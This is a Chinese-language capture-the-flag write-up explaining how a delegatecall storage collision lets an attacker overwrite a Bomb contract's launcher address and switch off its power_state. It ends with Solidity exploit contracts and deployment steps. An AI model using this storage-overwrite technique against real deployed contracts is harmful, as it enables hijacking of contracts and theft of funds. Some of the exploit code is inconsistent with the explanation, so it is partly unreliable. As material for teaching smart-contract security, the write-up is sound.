本题的首要考点是delegatecall与call的不同。

- delegatecall 虽然执行其他合约的函数，但是函数功能的作用域确实本合约

- call函数则会在被调用合约的作用域下进行变量修改。



题目中的Bomb合约会调用Launcher的setdeadline 函数。

Setdeadline 的功能是修改Launcher中的deadline变量。Deadline是Launcher的第一个slot，长度为32bytes。

由于delegateCall特性，Bomb合约中的前32bytes会被修改。



即launcher\_address可被覆盖为其他地址。

也就是说如果第一次调用setCountDownTimer函数时，参数填入attack合约地址。那么第二次调用setCountDownTimer时，Setdeadline函数就是attack的Setdeadline函数。从而可以对Bomb合约进行任意修改。

从而完成题目要求——将power\_state更改为False。

本题目的次要考点是private成员的数据读取，需要使用web3.eth.getStorageAt函数

同时需要选手根据password的检查格式，自己组织一下transaction的data。

手机屏幕截图

描述已自动生成

最终题目EXP如下

|  |
| --- |
| contract LauncherAttack{  uint256 public deadline;  bool private power\_state;  function settimer(uint256 \_deadline) public {  deadline = \_deadline;  bool power\_state = false;  }  function Launcher() public {  deadline = block.number + 1000;  }  }  contract attack{  Bomb public b;  function attack(address targetContractAddress,address expAddress){  //b.setCountDownTimer(expAddress);  targetContractAddress.call(bytes4(keccak256("setCountDownTimer(uint256)")), expAddress, 0x000000000000666c61677b646f6e4c65745572447265616d4265447265616d7d);  targetContractAddress.call(bytes4(keccak256("setCountDownTimer(uint256)")), expAddress);  }  } |

先部署LauncherAttack合约，然后以其Address为expAddress参数，题目合约地址为targetContractAddress参数，部署attack合约。

便可修改Bomb的power\_state参数。

从而获得flag。